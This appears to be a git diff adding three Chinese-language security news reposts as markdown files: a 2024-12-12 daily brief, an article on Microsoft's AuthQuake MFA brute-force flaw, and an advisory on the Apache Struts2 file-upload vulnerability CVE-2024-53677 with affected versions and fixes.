安全简讯（2024.12.12） + 启明星辰安全简讯 2024-12-12 07:56 + +**1. Cleo文件传输软件零日漏洞遭黑客利用进行数据盗窃攻击** + +12月10日，黑客正在积极利用Cleo管理文件传输软件中的新发现的零日漏洞，侵入全球数千家公司网络，包括Target、沃尔玛等知名企业，进行数据盗窃攻击。该漏洞存在于Cleo LexiCom、VLTrader和Harmony产品中，允许不受限制的文件上传和下载，导致远程代码执行。尽管Cleo之前已修复了一个相关漏洞CVE-2024-50623，但威胁行为者仍绕过了修复继续攻击。网络安全专家指出，这些攻击与新的Termite勒索软件团伙有关。Huntress安全研究人员首次发现了该漏洞的主动攻击，并警告用户采取紧急行动，包括将系统移到防火墙后面，限制外部访问，并检查可疑文件。Cleo已确认漏洞存在，并正在开发安全更新，同时提供了缓解措施建议。据估计，美国有绝大多数易受攻击的服务器，全球范围内已有至少十个组织受到影响。 + +https://www.bleepingcomputer.com/news/security/new-cleo-zero-day-rce-flaw-exploited-in-data-theft-attacks/ + + +**2. AppLite Banker恶意软件以银行应用程序为目标发起网络钓鱼活动** + +12月10日，一场复杂的网络钓鱼活动正在传播名为AppLite Banker的新恶意软件变种，该恶意软件被识别为Antidot银行木马的更新版本，主要针对Android设备。攻击者通过冒充知名公司招聘人员或人力资源代表，发送网络钓鱼电子邮件引导用户下载欺诈性CRM应用程序，进而安装AppLite恶意软件。该恶意软件能执行凭证盗窃、滥用无障碍服务、远程控制、欺骗性覆盖等多种恶意活动，并针对172个应用程序，包括金融平台和加密钱包。为绕过检测，AppLite使用ZIP文件操作和嵌入HTML覆盖层混淆安全工具。该恶意软件攻击范围广泛，涉及多种语言用户，并能窃取锁屏凭证自动解锁屏幕，实现完全控制受感染设备。安全研究人员强调主动防御重要性，建议实施强大的移动设备管理政策并定期更新设备和安全软件以防范此类威胁。 + +https://www.infosecurity-magazine.com/news/applite-malware-targets-banking/ + + +**3. Microsoft 365中断导致 Office Web应用程序和管理中心瘫痪** + +12月10日，微软正在调查一起影响Office Web应用和Microsoft 365管理中心的大面积且持续的Microsoft 365中断事件。用户报告在连接Outlook、OneDrive和其他Office 365应用程序和服务时出现问题，并收到服务中断的消息。微软指出，问题可能与身份验证基础设施中的令牌生成有关，并正在审查最近的变化以确定根本原因。作为解决方法，微软建议受影响的用户使用桌面应用程序访问Microsoft 365应用程序和文档。此前，Microsoft 365也曾发生过全球中断事件，包括影响多项服务和功能的情况。而在7月，一次大规模中断则是由分布式拒绝服务（DDoS）攻击引起的。目前，微软正在测试一个潜在的修复程序，并已部署了一个修复程序以缓解中断问题。微软表示，此次中断是由于最近的服务变更导致识别令牌到期时间出现问题，从而导致身份验证请求失败。经过一段时间的监控服务遥测后，该公司确认该问题现已解决。 + +https://www.bleepingcomputer.com/news/microsoft/microsoft-365-outage-takes-down-office-web-apps-admin-center/ + + +**4. Meta旗下四大社交平台遭全球范围攻击致服务中断** + +12月11日，全球范围内的Facebook、Instagram、Threads和WhatsApp遭受了严重攻击，导致服务中断，不同地区的用户受到了不同程度的影响。据DownDetector称，中断发生在美国东部时间下午12:40左右，许多用户无法通过网站和应用程序访问这些服务，也无法通过WhatsApp发送消息。当用户尝试访问Facebook时，会收到错误提示。虽然Meta的业务平台状态页面没有显示大规模服务中断，但Meta承认了中断的发生，并表示正在努力恢复服务。部分地区的服务在美国东部时间下午1:20左右开始恢复，但仍有用户报告无法访问平台。此前，Meta曾在3月份和2021年遭遇过类似的服务中断。截至美国东部时间12月11日下午7:21，Meta表示中断问题已基本解决，并向受影响的用户表示歉意。 + +https://www.bleepingcomputer.com/news/technology/facebook-instagram-whatsapp-hit-by-massive-worldwide-outage/ + + +**5. 国际行动“Operation PowerOFF”重拳打击DDoS出租服务** + +12月11日，国际行动“Operation PowerOFF”针对网络犯罪中的分布式拒绝服务（DDoS）攻击取得了显著成果。来自15个国家的执法机构合作，成功下线了27个DDoS出租服务平台，逮捕了三名管理员，并确定了这些平台的300名客户。这些平台利用僵尸网络对在线目标发起攻击，可能导致服务中断和业务损失，特别是在网上购物高峰期。欧洲刑警组织协调了此次行动，涉及多个国家，针对参与此类犯罪的各个层面的人员。其中，荷兰警方逮捕了四名涉嫌实施DDoS攻击的嫌疑人，并确定了约200名涉嫌使用被查获DDoS服务的荷兰人。此次行动的成功得益于欧洲刑警组织的分析支持、加密追踪信息以及联合网络犯罪行动特别工作组专家的协助。此前，“Operation PowerOFF”已对DDoS租赁领域进行了多次打击，包括查封大型平台Dstat.cc和入侵并关闭DigitalStress服务。 + +https://www.bleepingcomputer.com/news/security/operation-poweroff-shuts-down-27-ddos-for-hire-platforms/ + + +**6. Krispy Kreme遭网络攻击，影响在线订购和运营** + +12月11日，美国甜甜圈连锁店Krispy Kreme在2024年11月遭受了网络攻击，导致其在美国的在线订购系统中断，影响了部分业务运营。该公司拥有1,521家门店和众多员工，并与麦当劳等合作伙伴有积极关系。数字订单占公司销售额的15.5%，对公司业绩有重要影响。在攻击发生后，Krispy Kreme立即寻求顶尖网络安全专家的帮助，并采取措施控制和补救事件，但调查仍在进行中，具体影响尚待评估。此次攻击对公司的业务产生了重大影响，并将持续到恢复完成为止。同时，公司预计数字销售收入的损失、网络安全专家和顾问的费用以及系统恢复工作相关的成本将产生重大的财务影响。市场对此消息做出了负面反应，Krispy Kreme的股价下跌了2%。目前尚不清楚这是一次勒索软件攻击还是其他类型的攻击，也没有勒索软件组织对此次攻击负责。 + +https://www.bleepingcomputer.com/news/security/krispy-kreme-cyberattack-impacts-online-orders-and-operations/ + + diff --git a/doc/微软 MFA 中存在AuthQuake 漏洞，可导致无限次暴力攻击.md b/doc/微软 MFA 中存在AuthQuake 漏洞，可导致无限次暴力攻击.md new file mode 100644 index 00000000..dd026aa1 --- /dev/null +++ b/doc/微软 MFA 中存在AuthQuake 漏洞，可导致无限次暴力攻击.md @@ -0,0 +1,102 @@ +# 微软 MFA 中存在AuthQuake 漏洞，可导致无限次暴力攻击 + 代码卫士 2024-12-12 10:09 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") + +  +聚焦源代码安全，网罗国内外最新资讯！ + +**作者：****Ravie Lakshmanan** + +**编译：代码卫士** + +**网络安全研究员在微软的多因素认证 (MFA) 实现中发现了一个严重漏洞，可导致攻击者轻易绕过防御措施，越权访问受害者账户。** + +![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQaYHjeLoEv3R4T7PI8tFRoFaLuscYbbvpwRXczVlBGxJ40tiaRM3iawxic54cvj0icN2xk5yiaSbQVvFA/640?wx_fmt=gif&from=appmsg "") + + +Oasis 安全公司的研究人员 Elad Luz 和 Tal Hason 在一份报告中提到，“绕过很简单：大概需要一小时左右执行，无需用户交互，也无需生成任何通知或向账户持有者提供任何告警信息。”该漏洞被称为“AuthQuake（认证地震）”，已由微软在2024年10月修复。 + +虽然微软支持多种通过MFA的用户认证方式，但其中一种方法涉及在提供凭据后，从一款认证工具app中输入一个六位数代码。一次单独的会话允许最多10次的失败尝试。 + +从本质上而言，该漏洞与在提供和验证这些一次性代码过程中缺乏速率限制以及时间间隔延长有关，因此可导致恶意人员快速触发新会话并枚举所有可能的代码组合，但甚至不会提醒受害者登录尝试失败。 + +值得注意的是，这类代码与时间有关，也被称为“基于时间的一次性密码（TOTPs）”，即将当前时间作为随机性来源生成密码。另外，这些代码的有效时间仅为30秒。研究人员提到，“然而，由于验证器与用户之间存在可能的时间差和延迟，因此验证器会被推荐接受更大的代码窗口期。简言之，这意味着一个TOTP代码的有效时间可能超过30秒。” + +而对于微软而言，该代码的有效期可长达3分钟，因此可导致攻击者有机会利用延长的时间窗口，同时触发更多的暴力攻击进行破解。研究人员提到，“引入速率限制并确保得到正确执行至关重要。速率限制可能还不够，后续出现尝试失败应处罚账户锁定。” + +微软随后执行了更严格的速率限制并在多次尝试失败后被触发。研究人员也表示新的速率限制持续了大概半天的时间。 + +Keeper Security 公司的首席信息安全官 James Scobey 在一份声明中提到，“最近从微软MFA中发现 AuthQuake 漏洞提醒我们，安全不仅仅是关于MFA部署，它必须获得正确配置。虽然MFA无疑是一种强大的防御措施，但其有效性取决于关键设置如速率限制用于阻止暴力尝试，而用户通知用于失败的登录尝试。这些特性并非可选项，而是为了增强可见性，从而使用户能够提前发现可疑活动并进行快速响应。” + + +代码卫士试用地址： +https://codesafe.qianxin.com + +开源卫士试用地址：https://oss.qianxin.com + + + + + + + + + + + + + +**推荐阅读** + +[Rapid7：0day攻击和供应链攻陷剧增，MFA利用率仍较低](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519603&idx=1&sn=70cfaf8c8f867ef05e90b02ea49b69ae&scene=21#wechat_redirect) + + +[微软十二月补丁星期二值得关注的漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521758&idx=3&sn=65f54ac400f184b0f2f9f4ec9c298658&scene=21#wechat_redirect) + + +[ProxyToken：微软 Exchange 服务器中的认证绕过新漏洞，可窃取用户邮件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247507548&idx=1&sn=8bb0ef890eeea9a16bf623e46f1cc905&scene=21#wechat_redirect) + + +[微软强制 Azure AD 管理员账户启用多因素认证机制](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247487462&idx=2&sn=a4b76c222fc71b6471a1bd0365e8a1eb&scene=21#wechat_redirect) + + +[微软发布带外更新，紧急修复 Kerberos 认证问题](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247497950&idx=3&sn=da87daff20810c5e2db4c1739a91798e&scene=21#wechat_redirect) + + + + + +**原文链接** + + +https://thehackernews.com/2024/12/microsoft-mfa-authquake-flaw-enabled.html + + +题图： +Pexels  +License + +**** +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/漏洞通告 | Apache Struts2文件上传漏洞.md b/doc/漏洞通告 | Apache Struts2文件上传漏洞.md new file mode 100644 index 00000000..c653fddd --- /dev/null +++ b/doc/漏洞通告 | Apache Struts2文件上传漏洞.md @@ -0,0 +1,103 @@ +# 漏洞通告 | Apache Struts2文件上传漏洞 +原创 微步情报局 微步在线研究响应中心 2024-12-12 04:35 + +![](https://mmbiz.qpic.cn/mmbiz_png/fFyp1gWjicMKNkm4Pg1Ed6nv0proxQLEKJ2CUCIficfAwKfClJ84puialc9eER0oaibMn1FDUpibeK1t1YvgZcLYl3A/640?wx_fmt=png "") + + +**漏洞概况** + + + +Apache Struts2 是一个开源的 Java Web 应用程序开发框架，旨在帮助开发人员构建灵活、可维护和可扩展的企业级 Web 应用程序。 + +微步情报局获取到 Apache Struts2 文件上传漏洞情报  +CVE-2024-53677 （https://x.threatbook.com/v5/vul/XVE-2024-35895），攻击者成功利用 +该漏洞可上传任意文件，从而远程执行任意代码 +。 + +当前尚不掌握漏洞完整利用细节。但需要注意的是，此漏洞与  +CVE-2023-50164 +  +(https://x.threatbook.com/v5/vul/XVE-2023-35659) 类似， +如果系统没有使用 FileUploadInterceptor 组件，则不受此漏洞影响 +。 + + + +**漏洞处置优先级(VPT)** + + + +**综合处置优先级：中** +

基本信息

微步编号

XVE-2024-35895
漏洞类型

远程代码执行

利用条件评估

利用漏洞的网络条件

远程

是否需要绕过安全机制

不需要

对被攻击系统的要求

使用FileUploadInterceptor组件

利用漏洞的权限要求

无需任何权限

是否需要受害者配合

不需要

利用情报

POC是否公开

否
已知利用行为
否
# + +**漏洞影响范围** + + + +

产品名称

Apache软件基金会 - Apache Struts 

受影响版本

2.0.0 - 2.3.37 

2.5.0 - 2.5.33

6.0.0 - 6.3.0.2

有无修复补丁

有
+**修复方案** + + + +**官方修复方案：** + +Apache Struts 已发布安全通告，官方通告链接： + +https://cwiki.apache.org/confluence/display/WW/S2-067 + +请根据官方通告将 Struts 升级至 6.4.0 并使用 ActionFileUploadInterceptor 作为文件上传组件。 + +## 临时修复方案： +1. 自查业务是否使用了 +FileUploadInterceptor 组件 +，如果并未使用则不受该漏洞影响。 + +1. 使用防护类设备对文件上传接口进行防护。 + +1. 如非必要，避免将资产暴露在互联网。 + +- END - + + +  //   + +**微步漏洞情报订阅服务** + + +微步提供漏洞情报订阅服务，精准、高效助力企业漏洞运营： +- 提供高价值漏洞情报，具备及时、准确、全面和可操作性，帮助企业高效应对漏洞应急与日常运营难题； + +- 可实现对高威胁漏洞提前掌握，以最快的效率解决信息差问题，缩短漏洞运营MTTR； + +- 提供漏洞完整的技术细节，更贴近用户漏洞处置的落地； + +- 将漏洞与威胁事件库、APT组织和黑产团伙攻击大数据、网络空间测绘等结合，对漏洞的实际风险进行持续动态更新。 + + +扫码在线沟通 + +↓ +↓↓ + +![](https://mmbiz.qpic.cn/mmbiz_png/Yv6ic9zgr5hQl5bZ5Mx6PTAQg6tGLiciarvXajTdDnQiacxmwJFZ0D3ictBOmuYyRk99bibwZV49wbap77LibGQHdQPtA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/Yv6ic9zgr5hTIdM9koHZFkrtYe5WU5rHxSDicbiaNFjEBAs1rojKGviaJGjOGd9KwKzN4aSpnNZDA5UWpY2E0JAnNg/640?wx_fmt=png "") + +[点此电话咨询]() + + + + +**X漏洞奖励计划** + + +“X漏洞奖励计划”是微步X情报社区推出的一款 +针对未公开 +漏洞的奖励计划，我们鼓励白帽子提交挖掘到的0day漏洞，并给予白帽子可观的奖励。我们期望通过该计划与白帽子共同努力，提升0day防御能力，守护数字世界安全。 + +活动详情： +https://x.threatbook.com/v5/vulReward + + +